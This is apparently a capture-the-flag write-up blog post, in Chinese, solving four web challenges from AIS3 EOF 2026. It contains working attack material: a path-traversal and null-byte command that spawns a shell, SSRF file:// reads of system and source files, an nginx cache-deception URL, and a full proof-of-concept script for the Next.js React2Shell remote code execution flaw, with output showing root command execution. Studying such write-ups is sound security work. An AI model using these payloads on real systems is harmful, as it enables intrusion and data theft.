AIS3 EOF QUAL 2026(Web)

打了一些 AIS3 EOF QUAL 2026 的 Web 題目

周一 12月 29 2025
2429 字 · 19 分鐘

Web

Bun.PHP

主要的程式碼邏輯很短,簡單來說就是他會接收你想用 cgi run 起來的檔案,然後去把它跑起來。

import { $ } from "bun";
import { resolve } from "node:path";
const server = Bun.serve({
host: "0.0.0.0",
port: 1337,
routes: {
"/": async req => {
return new Response(null, {
status: 302,
headers: { "Location": "/cgi-bin/index.php" },
});
},
"/cgi-bin/:filename": async req => {
const filename = req.params.filename;
if (!filename.endsWith(".php")) {
return new Response(`404\n`, {
status: 404,
headers: { "Content-Type": "text/plain" },
});
}
const scriptPath = resolve("cgi-bin/" + filename);
const body = await req.blob();
const shell = $`${scriptPath} < ${body}`
.env({
REQUEST_METHOD: req.method,
QUERY_STRING: new URL(req.url).searchParams.toString(),
CONTENT_TYPE: req.headers.get("content-type") ?? "",
CONTENT_LENGTH: body ? String(body.size) : "0",
SCRIPT_FILENAME: scriptPath,
GATEWAY_INTERFACE: "CGI/1.1",
SERVER_PROTOCOL: "HTTP/1.1",
SERVER_SOFTWARE: "bun-php-server/0.1",
REDIRECT_STATUS: "200",
})
.nothrow();
// PHP-CGI outputs headers + body separated by \r\n\r\n
const output = await shell.text();
const [rawHeaders, ...rest] = output.split("\r\n\r\n");
const headers = new Headers();
for (const line of rawHeaders.split("\r\n")) {
const [k, v] = line.split(/:\s*/, 2);
if (k && v) headers.set(k, v);
}
const responseBody = rest.join("\r\n\r\n");
return new Response(responseBody, { headers });
},
}
});
console.log(`listening on http://localhost:${server.port}`);

filename 是我們可以控制的,可以看到這邊很明顯有個 path traveral

const scriptPath = resolve("cgi-bin/" + filename);

也就是說我們其實可以任意控制 scriptPath 但是有一個白名單檢查,他會限制你的檔案只能是 .php 結尾,但這邊只要用 null byte 就能繞過了。

"/cgi-bin/:filename": async req => {
const filename = req.params.filename;
if (!filename.endsWith(".php")) {
return new Response(`404\n`, {
status: 404,
headers: { "Content-Type": "text/plain" },
});}

然後下兩行

const body = await req.blob();
const shell = $`${scriptPath} < ${body}`

會把你的 body 塞到 scriptPath,所以我們其實就可以 ..//bin/sh 去執行我們的指令,最後組合起來就變這樣 (塞個 \r\n\r\n 讓他從 body 打回來)

  • exploit :
Terminal window
curl -v --data-binary $'printf "\\r\\n\\r\\n"; /readflag give me the flag' "https://079a02d40b765778.chal.eof.133773.xyz:20001/cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fbin%2Fsh%00.php"
EOF{1_tUrn3d_Bun.PHP_Int0_4_r34l1ty}

EOF{1_tUrn3d_Bun.PHP_Int0_4_r34l1ty}

CookieMonster Viewer

是個黑箱題!先隨便戳戳看~ 當我亂給 /api/templates/meow 的時候會報錯誤訊息

Template not found: [WinError 2] The system cannot find the file specified: 'C:\\supersecureyouwillneverguessed\\templates/meow.html'

但目前看起來沒什麼用?但我們這邊還可以知道他是一台 windows! 然後來看看 /api/preview 的功能

Terminal window
POST /api/preview HTTP/1.1
Host: chals2.eof.ais3.org:20918
Content-Length: 63
Accept-Language: zh-TW,zh;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://chals2.eof.ais3.org:20918
Referer: http://chals2.eof.ais3.org:20918/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
{"url":"http://localhost/api/templates/lake","username":"awda"}

有個 url 參數?看起來很 ssrf! 用 file:// 協議讀個 win.ini 看看

Terminal window
{"url":"file:///C:/Windows/win.ini","username":"awda"}
HTTP/1.1 200 OK
Server: Werkzeug/3.1.4 Python/3.12.10
Date: Wed, 24 Dec 2025 13:48:31 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 127
Connection: close
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[Ports]
COM1:=9600,n,8,1
COM2:=9600,n,8,1

好耶!那我們可以根據剛剛的路徑來讀原始碼看看! 有通到找到 app.py 跟 dockerfile

  • app.py
{"url":"file:///C:/supersecureyouwillneverguessed/app.py","username":"awda"}
HTTP/1.1 200 OK
Server: Werkzeug/3.1.4 Python/3.12.10
Date: Wed, 24 Dec 2025 13:50:35 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1263
Connection: close
from flask import Flask, request, send_from_directory, send_file, render_template_string
import subprocess
import os
app = Flask(__name__, static_folder='static')
def get_os():
import ctypes.wintypes
v = ctypes.windll.kernel32.GetVersion()
return f"Windows {v & 0xFF}.{(v >> 8) & 0xFF}"
class User:
def __init__(self, name):
self.name = name
def __str__(self):
return self.name
@app.route('/')
def index():
with open('static/index.html', encoding='utf-8') as f:
return render_template_string(f.read(), os_info=get_os())
@app.route('/api/preview', methods=['POST'])
def preview():
data = request.get_json()
url = data.get('url', '')
user = User(data.get('username', 'Guest'))
result = subprocess.run([r'.\lib\curl.exe', url], capture_output=True, text=True, encoding='utf-8', errors='replace')
content = result.stdout or result.stderr
try:
return content.format(user=user)
except:
return content
@app.route('/api/templates/<name>')
def get_template(name):
try:
return send_file(f'templates/{name}.html')
except Exception as e:
return f'Template not found: {e}', 404
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
  • dockerfile
{"url":"file:///C:/supersecureyouwillneverguessed/dockerfile","username":"awda"}
HTTP/1.1 200 OK
Server: Werkzeug/3.1.4 Python/3.12.10
Date: Wed, 24 Dec 2025 13:51:12 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 811
Connection: close
FROM python:3.12-windowsservercore-ltsc2022
WORKDIR /supersecureyouwillneverguessed
COPY requirements.txt .
RUN python -m pip install --no-cache-dir -r requirements.txt
COPY . .
# First move the flag (while we have write access)
SHELL ["powershell", "-Command"]
RUN $rand = -join ((65..90) + (97..122) | Get-Random -Count 16 | ForEach-Object {[char]$_}); Move-Item C:\supersecureyouwillneverguessed\flag.txt C:\flag-$rand.txt; attrib +R (Get-Item C:\flag-*.txt).FullName
# Then lock down permissions
SHELL ["cmd", "/S", "/C"]
RUN net user /add appuser && \
attrib +R C:\supersecureyouwillneverguessed\*.* /S && \
icacls C:\supersecureyouwillneverguessed /grant appuser:(OI)(CI)(RX) /T && \
icacls C:\supersecureyouwillneverguessed /deny appuser:(WD,AD,DC)
USER appuser
CMD ["python", "app.py"]

我們基本上可以得知要 rce 才能取得 flag 了! 然後 python 裏又有一個 format string 的漏洞在 content.format(user=user),另外我又想到這台竟然是 windows 應該會有 worstfit 的問題! 接著… 接著我就不會串了,雖然賽中有想到這兩個漏洞但我沒有想到要怎麼把它們結合在一起,最後是去讀 C:\ 的 index allocation 然後 flag 檔名就跑出來了,超酷!

Terminal window
{"url":"file:///C:/:$I30:$INDEX_ALLOCATION","username":"awda"}
HTTP/1.1 200 OK
Server: Werkzeug/3.1.4 Python/3.12.10
Date: Wed, 24 Dec 2025 13:55:56 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 247
Connection: close
Boot
bootmgr
BOOTNXT
Documents and Settings
DumpStack.log.tmp
flag-sNfLDScBvoFbxYMQ.txt
inetpub
License.txt
Program Files
Program Files (x86)
ProgramData
Python
supersecureyouwillneverguessed
System Volume Information
Users
WcSandboxState
Windows

最後去讀 flag

Terminal window
POST /api/preview HTTP/1.1
Host: chals2.eof.ais3.org:20918
Content-Length: 64
Accept-Language: zh-TW,zh;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://chals2.eof.ais3.org:20918
Referer: http://chals2.eof.ais3.org:20918/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
{"url":"file:///C:/flag-sNfLDScBvoFbxYMQ.txt","username":"awda"}
HTTP/1.1 200 OK
Server: Werkzeug/3.1.4 Python/3.12.10
Date: Wed, 24 Dec 2025 13:56:30 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 47
Connection: close
EOF{w0rst_f1t_4rg_1nj3ct10n_w/_format_string!}

我會想辦法補預期解回來的 ><

EOF{w0rst_f1t_4rg_1nj3ct10n_w/_format_string!}

LinkoReco

又雙叒叕是黑箱題 (灰箱) 於是我決定等提示出來才解這題

Hint1.

Terminal window
Kurumi 手滑了不小心掉出了這份使用指南
1. Token 只有在使用者從 local 造訪的時候會顯示
2. 這個服務沒有正確 Token 傳入的時候不會回顯內容,只會告訴你 status code,所以有 token 會更方便使用系統
3. 眼睛睜大一點,你會發現伺服器其實有在記得一些東西,而背景圖片本來應該要被存到的...但這個功能被 ai 寫壞了,/static 的靜態檔案應該要被存到的,但是他們直接走 nginx 跑掉了
4. 在她做滲透測試的時候沒有也不需要 fuzzing / 利用 SSRF 去戳 php fpm service

Hint2.

map $request_uri $is_static {
default 0;
"~*^/static/.*\.(svg|png|jpg|jpeg|css)$" 1;
}

然後會有一個 web 頁面讓你去戳其他的網站,但沒有給 token 的話是只看得到 status code 的。 然後根據提示一,我們可以知道 token 要從 local 訪問才會顯示。 然後提示二直接把打的方法告訴你了,可以看到 nginx 會對 /static 開頭以及特定附檔名進行快取,這時候我們拿一個 payload 讓這個 web 頁面去戳,然後我們再趕快去一次同樣的網址就可以看到 token 了!

  • 在 web 送
http://web/static/%2e%2e%2findex.php/meow.css
  • terminal 趕快去訪問一次
curl -v http://chals1.eof.ais3.org:19080/static/%2e%2e%2findex.php/meow.css -path-as-is
...
textarea {min-height:100px; resize:vertical;}
.col {flex:1 1 300px; min-width:220px;}
.actions {text-align:right; margin-top:8px;}
button {background:#1f8cff;color:white;padding:10px 16px;border-radius:8px;border:0;cursor:pointer;}
.small-muted {font-size:12px;color:#666;margin-top:6px}
.logo {max-width:120px; display:block; margin-bottom:12px;}
</style>
</head>
<body>
<div class="container">
<h1>接続テスト</h1>
<div class="subtitle">あなたのトークン: 200_OK_FROM_WA1NU7</div> <!--- full access token display, local only --->
<form method="post">
<div class="row">
<div class="col">
<label for="url">URL</label>
<input type="text" id="url" name="url" placeholder="https://example.com">
</div>
</div>
<div class="row">
<div class="col">
...

拿到 token 後我們去 fetch 的東西就會有回傳文字了! 題目其實還有給一個 docker-compose.yml

version: '3'
services:
web:
image: nginx:latest
ports:
- "19080:80"
volumes:
- ./conf/default.conf:/etc/nginx/conf.d/default.conf
- ./src:/var/www/html
depends_on:
- php
php:
image: php:7.4-fpm
volumes:
- ./src:/var/www/html
- ./flag.txt:/etc/REDACTED_FILENAME.txt # yes, secret.
# static files should be well handled, but seems like only fpm serves it?

可以得知 flag 是被掛載在 /etc 底下,但我們不知道檔名。 這時候一樣可以用 file:// 協議去讀一個檔案 /proc/self/mounts 他會記錄掛載的一些資訊。

Terminal window
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/YFEXIRUO7Z4OCGQ5KL3WBOLW2A:/var/lib/docker/overlay2/l/XMKYSFOCJX2HFFGV5IWGSFNKNC:/var/lib/docker/overlay2/l/4UZP7SBGXDTFA5UEMMG2OXANJP:/var/lib/docker/overlay2/l/347ZPM3G26K5EFJKDYHUGZDECI:/var/lib/docker/overlay2/l/ZZLPILUDBPWY32C4UIIAF5R7IT:/var/lib/docker/overlay2/l/6W5E5MN7QKH4BHD4X7LZWC6HOI:/var/lib/docker/overlay2/l/YTSBFV7H3YYUBB7YS5EUSOWFJC:/var/lib/docker/overlay2/l/WICBG4ZBSBV7CT45DJAMGHSHLP:/var/lib/docker/overlay2/l/MJIHWQJHN5L5P6O4SMXNTOLZ7O:/var/lib/docker/overlay2/l/FKZ7U5ZEDQ4X3KYIKQHJ5HBOV6:/var/lib/docker/overlay2/l/QY3ZKXBKXVEPWDAASFA5C3Z6RN,upperdir=/var/lib/docker/overlay2/14db2463bbdada42229a3fd8cd7e5cff15002be83531ecbd650a38902acc15bf/diff,workdir=/var/lib/docker/overlay2/14db2463bbdada42229a3fd8cd7e5cff15002be83531ecbd650a38902acc15bf/work 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /dev tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666 0 0
sysfs /sys sysfs ro,nosuid,nodev,noexec,relatime 0 0
cgroup /sys/fs/cgroup cgroup2 ro,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot 0 0
mqueue /dev/mqueue mqueue rw,nosuid,nodev,noexec,relatime 0 0
shm /dev/shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k,inode64 0 0
/dev/sda1 /etc/ca7_f113.txt ext4 rw,relatime,discard,errors=remount-ro 0 0
/dev/sda1 /etc/resolv.conf ext4 rw,relatime,discard,errors=remount-ro 0 0
/dev/sda1 /etc/hostname ext4 rw,relatime,discard,errors=remount-ro 0 0
/dev/sda1 /etc/hosts ext4 rw,relatime,discard,errors=remount-ro 0 0
/dev/sda1 /var/www/html ext4 rw,relatime,discard,errors=remount-ro 0 0
proc /proc/bus proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/fs proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/irq proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/sys proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/sysrq-trigger proc ro,nosuid,nodev,noexec,relatime 0 0
tmpfs /proc/acpi tmpfs ro,relatime,inode64 0 0
tmpfs /proc/kcore tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /proc/keys tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /proc/timer_list tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /sys/firmware tmpfs ro,relatime,inode64 0 0

看到 /etc/ca7_f113.txt 這個檔案,去把它讀出來就好!

EOF{たきな、スイーツ追加!それがないなら……修理?やらないから!}

EOF{たきな、スイーツ追加!それがないなら……修理?やらないから!}


以大方空頭來啦!

要逆一下前端,但這部分我成為 AI 的奴隸了,我請他幫我逆向 XD

page-a5d5f48bdef4decb.js 中,用了 function s(t,e){return t-=138,f()[t]} 這樣的函式來取得字串。

然後他幫我寫出了一個 decode.js

function p(){let t=["YW5jZ","ZAS0A",...,"的信仰不足","m:px-"];return(p=function(){return t})()}
!function(t,e){let i=I,s=t();for(;;)try{if(parseInt(i(891))/1*(parseInt(i(699))/2)+parseInt(i(945))/3+-parseInt(i(1289))/4*(parseInt(i(1147))/5)+-parseInt(i(1376))/6+parseInt(i(1387))/7+parseInt(i(849))/8*(parseInt(i(598))/9)+-parseInt(i(844))/10===741233)break;s.push(s.shift())}catch(t){s.push(s.shift())}}(p,0);
function I(t,e){return t-=336,p()[t]}
const T = I;
console.log("T(1026):", T(1026));
console.log("T(1298):", T(1298));
console.log("T(912):", T(912));
console.log("B:", T(1267) + T(1399) + T(1138) + T(469) + T(611));
// Print all strings to find potential Action IDs
const fs = require('fs');
let output = "";
for (let i = 336; i < 336 + p().length; i++) {
try {
let val = I(i);
output += i + ": " + val + "\n";
} catch (e) {}
}
fs.writeFileSync('strings.txt', output);
console.log("Strings written to strings.txt");

執行過後

Terminal window
soar@universe-3 EOF % node ./decode.js
T(1026): /api/
T(1298): claim
T(912): POST
B: https://rpc.chainpipes.uk
Strings written to strings.txt

連進去過後他說偵測到駭客,並且是用 middleware rewrite 的方式寫到 /error image/api 的部分都能正常使用,但好像是假的,隨便 fuzz /api/target/api/claim 好像都蠻正常的。

觀察一下他的 header

Terminal window
curl https://rpc.chainpipes.uk/ -I
HTTP/2 500
date: Wed, 24 Dec 2025 14:24:41 GMT
content-type: text/html; charset=utf-8
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-middleware-rewrite: /error
cf-cache-status: DYNAMIC
report-to: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=xs%2FBBN7BCq%2FPzkWxRIEB3IKRfn5l%2FaPot8y5lsYIoHsvX5lDKQJL4xFLmyUTgCx068NXqVTJZ%2F8DQMpGJ5MtkSjzGJMTGz0YezZOp2vbqQ%3D%3D"}]}
nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
server: cloudflare
cf-ray: 9b30c37a3946a9bb-TPE
alt-svc: h3=":443"; ma=86400

看到有 next.js 我就想到最近很猛的漏洞 React2Shell (CVE-2025-55182) 去網路隨便載了一個 poc 來用之後。

  • poc.py
# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
# If you don't need the command output, you can use this line instead:
# "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)
Terminal window
python3 poc.py https://rpc.chainpipes.uk/ "id"
">
(這個是假的 Cloudflare 頁面<br>純粹是不知道偵測到駭客後要放什麼<br>所以放了這個)
</h1>
<div id="cf-wrapper">
<div id="cf-error-details" class="p-0">
<header class="mx-auto pt-10 lg:pt-6 lg:px-8 w-240 lg:w-full mb-8">
<h1 class="inline-block sm:block sm:mb-2 font-light text-60 lg:text-4xl text-black-dark leading-tight mr-2">
<span class="inline-block">Internal server error</span>
<span class="code-label">Error code 500</span>
</h1>
<div>

誒?!還是被擋了?然後我當初就卡在這邊繞那個檢查,完全忘記 /api 沒被擋這件事,直到 hint 給出 middleware 的實作我才想起來。

Terminal window
python3 poc.py https://rpc.chainpipes.uk/api "id"
/Users/soar/Library/Python/3.9/lib/python/site-packages/urllib3/__init__.py:35: NotOpenSSLWarning: urllib3 v2 only supports OpenSSL 1.1.1+, currently the 'ssl' module is compiled with 'LibreSSL 2.8.3'. See: https://github.com/urllib3/urllib3/issues/3020
warnings.warn(
500
0:{"a":"$@1","f":"","b":"0zhF2SkV4t1SfMdgAlVR9"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}

好耶!接著讀 flag 就好了

Terminal window
python3 poc.py https://rpc.chainpipes.uk/api "cat /flag"
/Users/soar/Library/Python/3.9/lib/python/site-packages/urllib3/__init__.py:35: NotOpenSSLWarning: urllib3 v2 only supports OpenSSL 1.1.1+, currently the 'ssl' module is compiled with 'LibreSSL 2.8.3'. See: https://github.com/urllib3/urllib3/issues/3020
warnings.warn(
500
0:{"a":"$@1","f":"","b":"0zhF2SkV4t1SfMdgAlVR9"}
1:E{"digest":"EOF{Fr33_EIP7702_Sc43_with_EV3_Supp0r7~}"}

這題因為當初卡最後一個地方,所以提示一出來很快拿到首殺 ><

EOF{Fr33_EIP7702_Sc43_with_EV3_Supp0r7~}


Thanks for reading!

AIS3 EOF QUAL 2026(Web)

周一 12月 29 2025
2429 字 · 19 分鐘